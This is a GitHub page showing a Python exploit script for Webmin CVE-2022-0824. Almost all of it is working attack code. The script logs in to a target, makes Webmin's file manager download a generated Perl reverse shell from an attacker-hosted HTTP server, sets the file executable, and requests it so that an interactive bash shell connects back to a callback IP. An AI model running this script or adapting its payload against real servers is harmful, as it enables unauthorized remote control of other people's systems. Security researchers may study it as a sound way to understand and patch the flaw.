-
Notifications
You must be signed in to change notification settings - Fork 3
/
Webmin-revshell.py
146 lines (121 loc) · 6.18 KB
/
Webmin-revshell.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
#!/usr/bin/python3
"""
Coded by: @faisalfs10x
GitHub: https://github.com/faisalfs10x
Reference: https://huntr.dev/bounties/d0049a96-de90-4b1a-9111-94de1044f295/
"""
import requests
import urllib3
import argparse
import os
import time
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
TGREEN = '\033[32m'
TRED = '\033[31m'
TCYAN = '\033[36m'
TSHELL = '\033[32;1m'
ENDC = '\033[m'
class Exploit(object):
def __init__(self, target, username, password, py3http_server, pyhttp_port, upload_path, callback_ip, callback_port, fname):
self.target = target
self.username = username
self.password = password
self.py3http_server = py3http_server
self.pyhttp_port = pyhttp_port
self.upload_path = upload_path
self.callback_ip = callback_ip
self.callback_port = callback_port
self.fname = fname
#self.proxies = proxies
self.s = requests.Session()
def gen_payload(self):
payload = ('''perl -e 'use Socket;$i="''' + self.callback_ip + '''";$p=''' + self.callback_port + ''';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};' ''')
print(TCYAN + f"\n[+] Generating payload to {self.fname} in current directory", ENDC)
f = open(f"{self.fname}", "w")
f.write(payload)
f.close()
def login(self):
login_url = self.target + "/session_login.cgi"
cookies = { "redirect": "1", "testing": "1", "PHPSESSID": "" }
data = { 'user' : self.username, 'pass' : self.password }
try:
r = self.s.post(login_url, data=data, cookies=cookies, verify=False, allow_redirects=True, timeout=10)
success_message = 'System hostname'
if success_message in r.text:
print(TGREEN + "[+] Login Successful", ENDC)
else:
print(TRED +"[-] Login Failed", ENDC)
exit()
except requests.Timeout as e:
print(TRED + f"[-] Target: {self.target} is not responding, Connection timed out", ENDC)
exit()
def pyhttp_server(self):
print(f'[+] Attempt to host http.server on {self.pyhttp_port}\n')
os.system(f'(setsid $(which python3) -m http.server {self.pyhttp_port} 0>&1 & ) ') # add 2>/dev/null for clean up
print('[+] Sleep 3 second to ensure http server is up!')
time.sleep(3) # Sleep for 5 seconds to ensure http server is up!
def download_remote_url(self):
download_url = self.target + "/extensions/file-manager/http_download.cgi?module=filemin"
headers = {
"Accept": "application/json, text/javascript, */*; q=0.01",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"Referer": self.target + "/filemin/?xnavigation=1"
}
data = {
'link': "http://" + self.py3http_server + "/" + self.fname,
'username': '',
'password': '',
'path': self.upload_path
}
r = self.s.post(download_url, data=data, headers=headers, verify=False, allow_redirects=True)
print(f"\n[+] Fetching {self.fname} from http.server {self.py3http_server}")
def modify_permission(self):
modify_perm_url = self.target + "/extensions/file-manager/chmod.cgi?module=filemin&page=1&paginate=30"
headers = { "Referer": self.target + "/filemin/?xnavigation=1" }
data = { "name": self.fname, "perms": "0755", "applyto": "1", "path": self.upload_path }
r = self.s.post(modify_perm_url, data=data, headers=headers, verify=False, allow_redirects=True)
print(f"[+] Modifying permission of {self.fname} to 0755")
def exec_revshell(self):
url = self.target + '/' + self.fname
try:
r = self.s.get(url, verify=False, allow_redirects=True, timeout=3)
except requests.Timeout as e: # check target whether make response in 3s, then it indicates shell has been spawned!
print(TGREEN + f"\n[+] Success: shell spawned to {self.callback_ip} via port {self.callback_port} - XD", ENDC)
print("[+] Shell location: " + url)
else:
print(TRED + f"\n[-] Please setup listener first and try again with: nc -lvp {self.callback_port}", ENDC)
def do_cleanup(self):
print(TCYAN + '\n[+] Cleaning up ')
print(f'[+] Killing: http.server on port {self.pyhttp_port}')
os.system(f'kill -9 $(lsof -t -i:{self.pyhttp_port})')
exit()
def run(self):
self.gen_payload()
self.login()
self.pyhttp_server()
self.download_remote_url()
self.modify_permission()
self.exec_revshell()
self.do_cleanup()
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Webmin CVE-2022-0824 Reverse Shell')
parser.add_argument('-t', '--target', type=str, required=True, help=' Target full URL, https://www.webmin.local:10000')
parser.add_argument('-c', '--credential', type=str, required=True, help=' Format, user:user123')
parser.add_argument('-LS', '--py3http_server', type=str, required=True, help=' Http server for serving payload, ex 192.168.8.120:8080')
parser.add_argument('-L', '--callback_ip', type=str, required=True, help=' Callback IP to receive revshell')
parser.add_argument('-P', '--callback_port', type=str, required=True, help=' Callback port to receive revshell')
parser.add_argument("-V",'--version', action='version', version='%(prog)s 1.0')
args = parser.parse_args()
target = args.target
username = args.credential.split(':')[0]
password = args.credential.split(':')[1]
py3http_server = args.py3http_server
pyhttp_port = py3http_server.split(':')[1]
callback_ip = args.callback_ip
callback_port = args.callback_port
upload_path = "/usr/share/webmin"
fname = "revshell.cgi"
pwn = Exploit(target, username, password, py3http_server, pyhttp_port, upload_path, callback_ip, callback_port, fname)
pwn.run()